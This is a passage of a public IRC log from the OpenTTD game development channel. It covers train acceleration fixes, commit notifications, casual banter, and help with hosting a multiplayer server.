delay from green to forward momentum, was enough to cause all that... easier to believe that you need to lay your track differently 21:29:09 <Smoovious> personally, I'd rather have the short delay... more realistic 21:29:26 *** helb [~helb@84.244.90.159] has quit [Quit: Logout] 21:29:37 <Rubidium> !openttd commit 7241 21:29:39 <_42_> Commit by KUDr :: r7241 /trunk/table/namegen.h (2006-11-22 23:25:31 UTC) 21:29:41 <_42_> -Fix: czech town name generator now uses proper diacritics (Hadez) 21:29:49 <Rubidium> !openttd commit 7421 21:29:51 <_42_> Commit by peter1138 :: r7421 /trunk/train_cmd.c (2006-12-07 14:44:26 UTC) 21:29:53 <_42_> -Fix (r2475): Changed "kick off" acceleration resulted in only a small amount of power being applied whilst moving off and then double the power at 1 mph. This resulted in a perceived delay before trains moved. Fix this by applying the full power of the engine (or the kick off, whichever is greater). Essay over. 21:30:02 <Patrick> yit wasn't a belief 21:30:03 <Rubidium> Patrick: that should solve your problem 21:30:20 <Patrick> sweet, I knew peter'd be on it 21:30:37 <Patrick> basically, there was a certain train capacity above which a traffic jam would grow rather than shrink 21:30:42 <Patrick> that kickoff halved that density 21:30:49 <Patrick> lines could go faster but they'd just jam 21:31:20 <hylje> http://bash.org/?739936 now this is silly 21:35:24 <GhostBear> xD 21:36:07 <Smoovious> hylje... what'd you expect... its bash 21:38:05 *** Sacro [Ben@87.102.80.216] has quit [Read error: Connection reset by peer] 21:38:11 *** Sacro [~Ben@87.102.80.216] has joined #openttd 21:38:41 *** |Jeroen| [~jeroen@dD5E03DCF.access.telenet.be] has quit [Remote host closed the connection] 21:42:08 <CIA-2> OpenTTD: glx * r9354 /branches/0.5/ (gfx.c misc_gui.c string.c string.h texteff.c win32.c): (log message trimmed) 21:42:08 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r8975, r9003, r9011, r9012): 21:42:08 <CIA-2> OpenTTD: -Regression: [win32] Possible buffer overflow if unicode text is pasted into an input box and needs trimming. (r8975) 21:42:08 <CIA-2> OpenTTD: -Codechange: Introduce a function Utf8PrevCharLen that finds the starting character of an UTF-8 sequence from a given position and returns the length to the first UTF-8 encoding byte of that sequence. (r9003) 21:42:08 <CIA-2> OpenTTD: -Codechange: Rework Utf8PrevChar so that it returns a pointer to the previous UTF8 character's first byte instead of a byte-length offset (r9011) 21:42:08 <CIA-2> OpenTTD: -Fix: When cutting strings into multiple lines also take into consideration 21:42:10 <CIA-2> OpenTTD: whitespace characters of more than 1 byte length (eg IDEOGRAPHIC SPACE, 21:43:29 <Patrick> wooooah 21:45:36 <SpComb> hmm, unicode-related buffer overflow 21:46:22 <GhostBear> :> 21:46:44 <Smoovious> hylje... that is pretty funny tho. :) 21:48:21 <SpComb> http://qmsk.paivola.fi/stuff/wheeled_seal.png 21:48:50 <Patrick> wytf 21:49:37 <SpComb> it's a wheeled seal 21:51:59 <Smoovious> wow... that's a cool fake... can hardly tell its been photoshopped 21:53:16 <SpComb> I'm too cheap for photoshop 21:53:51 <SpComb> but it's not always about the quality of the photoshop 21:54:54 <SpComb> sometimes it's the concept that matters. How many times have you heard to concept "wheeled seal" or "seal on wheels" mentioned before? 21:54:55 <GhostBear> damn 21:55:00 <GhostBear> wtf it not compressed? :/ 21:58:56 <GhostBear> http://en.wikipedia.org/wiki/Ufo all things wroted here makes me believe :o But after a hour i'm again thinking this is shit =\ 22:02:51 *** Osai^away is now known as Osai 22:03:58 *** green-devil [~c@0x5731e50e.vgnxx6.adsl-dhcp.tele.dk] has quit [] 22:06:44 <Smoovious> SpComb... never, actually 22:08:11 <SpComb> Smoovious: exactly 22:08:25 <CIA-2> OpenTTD: rubidium * r9355 /branches/0.5/ (32 files in 3 dirs): 22:08:25 <CIA-2> OpenTTD: [0.5] -Backport from trunk (r8906): 22:08:25 <CIA-2> OpenTTD: - Feature: translation dependant formatting of dates (r8906) 22:10:02 <SpComb> so what is your opinion about seals on wheels? 22:11:14 <Smoovious> I think you should get a patent on the concept asap before someone else snatches it up 22:12:04 <SpComb> something along those lines 22:12:07 <SpComb> patents are expensive though 22:20:16 <Ailure> alot of updates todays 22:21:55 *** Rens2Sea [~Rens2Sea@213.211.185.168] has quit [] 22:25:59 <GhostBear> :( 22:27:14 *** helb [~helb@84.244.90.159] has joined #openttd 22:37:20 <HMage`> http://bugs.openttd.org/task/640 - any updates? 22:44:30 *** HMage` [~HMage@85.21.179.41] has quit [Read error: Connection reset by peer] 22:46:53 *** A1win [a1win@loota.fi] has quit [Read error: Connection reset by peer] 22:49:22 *** e1ko [~L@a02-0432b.kn.vutbr.cz] has quit [Quit: bye, Im going off] 22:53:50 *** Frostregen [~sucks@dslb-084-058-137-081.pools.arcor-ip.net] has quit [Read error: Connection reset by peer] 22:54:08 *** Osai is now known as Osai^zZz 22:54:26 *** boekabart [~boekabart@g54037.upc-g.chello.nl] has left #openttd [Your eyes grow heavy.. you grow very sleepy..... zzzz...] 22:55:56 *** Frostregen [~sucks@dslb-084-058-173-205.pools.arcor-ip.net] has joined #openttd 22:56:45 *** HMage [~HMage@85.21.179.41] has joined #openttd 23:01:18 *** A1win [a1win@loota.fi] has joined #openttd 23:01:22 *** antichaos [~antichaos@host86-137-191-156.range86-137.btcentralplus.com] has joined #openttd 23:02:11 *** Thomas[NL] [~thomas@vdburgt.xs4all.nl] has quit [Quit: Leaving] 23:05:31 *** Sacro_ [Ben@87.102.80.216] has joined #openttd 23:05:31 *** Sacro [~Ben@87.102.80.216] has quit [Read error: Connection reset by peer] 23:11:37 *** TinoM| [~Tino@i5387D692.versanet.de] has quit [Read error: Connection reset by peer] 23:13:55 *** XeryusTC [~irc@cc480157-b.sneek1.fr.home.nl] has quit [Quit: Solong, and thanks for all the fish.] 23:13:59 *** Sacro_ [Ben@87.102.80.216] has quit [Quit: Leaving] 23:14:03 *** Sacro_ [Ben@87.102.80.216] has joined #openttd 23:15:09 *** Frostregen [~sucks@dslb-084-058-173-205.pools.arcor-ip.net] has quit [Quit: und weg] 23:15:45 *** Frostregen [SADDAM@dslb-084-058-173-205.pools.arcor-ip.net] has joined #openttd 23:16:03 *** Sacro_ is now known as Sacro 23:24:21 *** Digitalfox_Home [~chatzilla@bl4-211-152.dsl.telepac.pt] has quit [Quit: Time for Sleeping] 23:26:07 <Maedhros> gah, flamebait-- (http://www.tt-forums.net/viewtopic.php?p=565683#565683) 23:29:30 *** ChrisM87 [~ChrisM@p54AC52D6.dip.t-dialin.net] has quit [Remote host closed the connection] 23:31:27 <Ailure> lo 23:31:29 <Ailure> lol 23:32:51 <Ailure> personally, more exciting stuff happens with the openTTD project 23:33:06 <Ailure> but I doubt tddpatch will die XD 23:33:15 <Ailure> it's been around longer than openTTD and have a following 23:33:25 <Sacro> HAS 23:33:33 <Sacro> S/HAVE/HAS/ 23:33:42 * Sacro hits Bjarni with a pointed stick 23:33:55 <Ailure> I'm not Bjarni 23:34:11 <Ailure> xD 23:34:12 <Sacro> he started it 23:34:37 <Ailure> Hey, both of us are scandinavian I belive 23:34:42 <Ailure> we are bound to make same mistakes 23:34:49 <Sacro> he is netherlandian 23:34:53 <Ailure> oh 23:34:54 <Ailure> hmm 23:34:57 <Ailure> I'm confusing with someone else 23:34:59 <Sacro> or maybe danish 23:35:00 <Ailure> who was from denmark 23:35:06 <Ailure> or it was him then 23:35:06 <Ailure> heh 23:35:12 <Ailure> I swear Bjarni wasf rom Denmark 23:35:31 <Ailure> Bjarni sounds like a typical Danish name too 23:35:32 <Ailure> after all 23:35:53 <Ailure> I live next to denmark in Sweden after all. :) 23:36:16 <Zuu> You might be comfused by Bjarne Stroustrup? 23:36:37 <Ailure> anyway 23:36:40 <Ailure> xD 23:36:51 <Zuu> I'm not sure where he was from either... :p 23:36:59 <Ailure> About TTDpatch VS OpenTTD 23:37:16 <Ailure> ttdpatch users seems to consist of players who been around awhile 23:37:24 <Ailure> and openTTD more 'new' players for some reason. 23:37:25 <Zuu> I mean from which country Stroustrup is from. 23:37:35 <Ailure> I actually used to use ttdpatch, until I got fed up with it's bugginess. 23:37:36 *** qfh [~qfh@static-ip-62-75-161-163.inaddr.intergenia.de] has quit [Remote host closed the connection] 23:37:39 <Ailure> Mind you, this was a few years ago. 23:37:42 *** TrueBrain [truelight@openttd.org] has joined #openttd 23:38:11 <Ailure> Got back into TTD, and managed to find out openTTD in a way I don't remember. xD 23:38:27 <Ailure> All I know is that my first version probably was 0.3.5 or something 23:39:01 <GhostBear> Guys 23:39:05 <GhostBear> Can you help me? 23:39:11 <GhostBear> I just hosted an internet game 23:39:15 <GhostBear> Can somebody try to join 23:39:27 <GhostBear> I should be sure what i have no troubles with hosting 23:39:41 <Ailure> do your server show up on the master server list? 23:39:44 <Ailure> (http://www.openttd.org/servers.php) 23:40:44 <Zuu> GhostBear: What is your server address/name? 23:41:03 <GhostBear> hm... 23:41:10 <SpComb> t -5 minutes, http://www.spacex.com/webcast.php 23:41:15 <GhostBear> adress should mean my ip? 23:41:27 <Ailure> uh 23:41:28 <Zuu> Whatever I can use to join your game. :p 23:41:34 <Zuu> IP is okay. 23:41:54 <GhostBear> 217.116.141.36 23:41:56 <Zuu> GhostBear: But you should remember the server-name you've set in the openttd.cfg 23:42:01 <GhostBear> :o 23:42:40 <Zuu> Hmmm someone yet have to implement paste in OpenTTD :) 23:43:03 <Ailure> paxste? 23:43:05 <Ailure> as in? 23:43:10 <Smoovious> cut/paste 23:43:16 <Ailure> WEll someone did a patch 23:43:19 <Ailure> but it was like 23:43:23 <CIA-2> OpenTTD: truelight * r9356 /branches/noai/ (6 files in 4 dirs): [NoAI] -Add: add abs() function to global scope in SQ. This means we now have an own squirrel_std class which registers such functions. (on request by Zuu) 23:43:27 <Ailure> not that well coded 23:43:52 <CIA-2> OpenTTD: truelight * r9357 /branches/noai/projects/ (openttd.vcproj openttd_vs80.vcproj): [NoAI] -Fix r9356: forgot to regenerate MSVC project files 23:43:53 <Zuu> Says "Server Offline" here. 23:44:14 <Zuu> GhostBear: Sure you have forwarded the ports in your rounter (if you have one)? 23:44:15 <Ailure> mmm 23:44:25 <Ailure> heh waiting for the noai binaries D: 23:44:39 <GhostBear> mh... 23:44:41 <GhostBear> no 23:44:58 <Zuu> Ailure: Bha, waiting for binaries, what is that? :p 23:45:21 <GhostBear> fkk =\ 23:45:27 <GhostBear> no play then =/ 23:45:55 <Zuu> Ailure: A real Swede know how to download stuff :) (which should include downloading from svn :p) 23:46:02 <Ailure> I know 23:46:09 <Ailure> but there's no point as the Win32 support is dodgy 23:46:14 <Ailure> I have SVN and even know how to compile 23:46:17 <Ailure> >_> 23:46:19 <Zuu> :D 23:46:23 <Ailure> Well, at least they said so on the forum 23:46:26 <Ailure> so I can't really bother now 23:46:33 <Ailure> hush about me using Win XP now 23:46:57 <Ailure> I'm not too far from switching to Linux. <_< 23:47:07 <Ailure> Only game that would require Windows at this point is like 23:47:09 <Ailure> Civ IV 23:47:30 <Zuu> Whatever meats your taste. :) 23:47:37 <TrueBrain> get Cedega, fixed; so you are swithcing to Linux right now 23:47:37 <TrueBrain> good 23:47:52 <TrueBrain> Ailure: get pthread-win32, ask glx nicely for a patch, and you can compile NoAI for win32 :p 23:48:08 <glx> mingw only :) 23:48:24 <TrueBrain> good point, forgot to add :) I always assume people use mingw.... 23:48:31 <TrueBrain> MSVC doesn't exists in brain->library 23:49:02 *** dp [~illu@data-pirates.org] has quit [Ping timeout: 480 seconds] 23:49:26 <Ailure> I use MSCV 23:49:35 <Ailure> although I was considering to use mingw 23:49:38 <TrueBrain> then I can't help you :) 23:49:43 <Ailure> to avoid being dependant on Microsoft 23:49:47 <TrueBrain> I rather see you considering linux :p 23:49:47 <Ailure> but oh well 23:50:06 <Ailure> I don't have time to switch though 23:50:13 <Ailure> I mean, if I switch I do it on a summer or somethng 23:50:51 <Ailure> Most of the appliations I use have a Linux port <_< 23:50:56 <Ailure> and the few that dosen't should run under Wine 23:50:58 * TrueBrain pets Ailure 23:51:12 * Ailure mprrs 23:52:19 <Maedhros> night all 23:52:28 <Ailure> night 23:52:31 <Jezral> Using MSVC doesn't tie you to MS. I use it for developing cross-platform. It's a great IDE and debugger. 23:53:34 <Belugas> nigh Maedhros 23:56:09 <GhostBear> Damn... Even now music From UFO:Terror From The Deep sounds good! :| 23:56:43 *** Digitalfox [~chatzilla@bl4-211-152.dsl.telepac.pt] has joined #openttd